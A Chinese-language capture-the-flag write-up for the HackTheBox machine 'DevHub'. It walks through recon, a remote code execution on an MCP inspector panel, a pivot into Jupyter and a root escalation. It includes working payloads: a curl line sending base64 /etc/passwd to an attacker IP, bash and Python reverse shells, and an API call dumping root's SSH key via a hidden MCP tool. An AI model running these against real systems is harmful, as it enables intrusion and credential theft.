DevHub from Htb season 11

0x01 信息收集

nmap 扫描

# Nmap 7.95 scan initiated Fri Jun  5 04:30:04 2026 as: /usr/lib/nmap/nmap --privileged -p- --min-rate 1000 -oA nmapscan/ports devhub.htb
Nmap scan report for devhub.htb (10.129.168.214)
Host is up (0.31s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6274/tcp open  unknown

# Nmap done at Fri Jun  5 04:32:17 2026 -- 1 IP address (1 host up) scanned in 133.67 seconds

先查看 80 端口
跳转到 devhub.htb 把他添加到 /etc/hosts
image.png

显示在 6274 的端口是一个调试工具,我们尝试查看
是一个 mcpjam 的服务面板
image.png
是一个测试服务器的工具
搜索有没有 exploit
发现有比较新的漏洞
image.png

0x02 获取立足点

我们尝试利用
先验证漏洞

# 1. 验证服务
curl http://10.129.168.214:6274/health
# 返回: {"status":"ok","timestamp":"..."}

# 2. 构造RCE攻击载荷
cat > exploit.json << EOF
{
  "serverId": "evil-server",
  "serverConfig": {
    "command": "bash",
    "args": ["-c", "id > /tmp/hacked.txt && curl http://10.10.14.65/steal?data=$(cat /etc/passwd | base64)"],
    "env": {}
  }
}
EOF

#3. 启动服务器
python -m http.server 80

# 4. 发起攻击
curl -X POST http://10.129.168.214:6274/api/mcp/connect \
  -H "Content-Type: application/json" \
  --data-binary @exploit.json
  

发现服务器端有响应,说明载荷有在运行,更改载荷为反弹 shell

{
  "serverId": "evil-server",
  "serverConfig": {
    "command": "bash",
    "args": ["-c", "bash -i >& /dev/tcp/10.10.14.65/4444 0>&1"],
    "env": {}                                                     
  }                                                               
}

再次发起攻击,成功获取 shell
image.png

0x03 横向移动

使用 linpeas 进行枚举
有一个路径劫持的可能
image.png
在这里发现两个比较奇怪的进程
image.png
有一个 token a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
选择看以下这个程序的权限

mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ ls -laih /opt/opsmcp/server.py
<s/@mcpjam/inspector$ ls -laih /opt/opsmcp/server.py       
97833 -rw-r----- 1 analyst analyst 5.9K Mar 16 21:49 /opt/opsmcp/server.py

显示他的权限为 analyst
再看看开放端口
image.png
8888 端口有开放,搜索一下 jupyter
发现是一个网页端的调试工具
curl 检测一下

mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ curl -v http://127.0.0.1:8888
<es/@mcpjam/inspector$ curl -v http://127.0.0.1:8888       
*   Trying 127.0.0.1:8888...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 127.0.0.1 (127.0.0.1) port 8888 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:8888
> User-Agent: curl/7.81.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Server: TornadoServer/6.5.4
< Content-Type: text/html; charset=UTF-8
< Date: Fri, 05 Jun 2026 14:33:22 GMT
< Location: /lab?
< Content-Length: 0
< 
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
* Connection #0 to host 127.0.0.1 left intact

302 重定向,应该是有 web 服务的使用 chisel端口代理
image.png
image.png

用浏览器打开网页
image.png
显示可以用 token 登入,尝试先前的 a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
登入成功
image.png
python 反弹一个 shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.65",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])
image.png

0x04 提权

查看先前的 文件 /opt/opsmcp/server.py

这里有一个端点 admin_dump

# Hidden tools (not in /tools/list but callable)                        
HIDDEN_TOOLS = {                                                        
    "ops._admin_dump": {
        "description": "Emergency credential dump - INTERNAL ONLY",     
        "parameters": {"target": "string", "confirm": "boolean"}
    },
    "ops._debug_mode": {
        "description": "Enable debug mode",
        "parameters": {}
    }
}

他会去读 rootssh 密钥


    elif tool_name == "ops._admin_dump":
        target = args.get('target', '')
        confirm = args.get('confirm', False)
        if not confirm:
            return jsonify({
                "error": "Confirmation required",
                "usage": "Set confirm=true to proceed",
                "warning": "This dumps sensitive credentials"
            })
        if target == "ssh_keys":
            try:
                with open('/root/.ssh/id_rsa', 'r') as f:
                    key_data = f.read()
                return jsonify({
                    "target": "ssh_keys",
                    "root_private_key": key_data,
                    "note": "Emergency recovery key dump"
                })
            except Exception as e:
                return jsonify({
                    "target": "ssh_keys",
                    "error": f"Could not read key: {str(e)}"

并且有验证

def check_auth():
    api_key = request.headers.get('X-API-Key', '')
    return api_key == VALID_API_KEY

从请求头中 get
但是他这个参数明文写在开头

VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"              

我们构建一个包

curl -s -X POST http://127.0.0.1:5000/tools/call \
  -H "Content-Type: application/json" \
  -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
  -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'

去拿 root 的密钥并保存
image.png
选择用密钥登入

ssh -i root.key root@10.129.168.214 -v 

获得 root 权限
image.png

文末附加内容
上一篇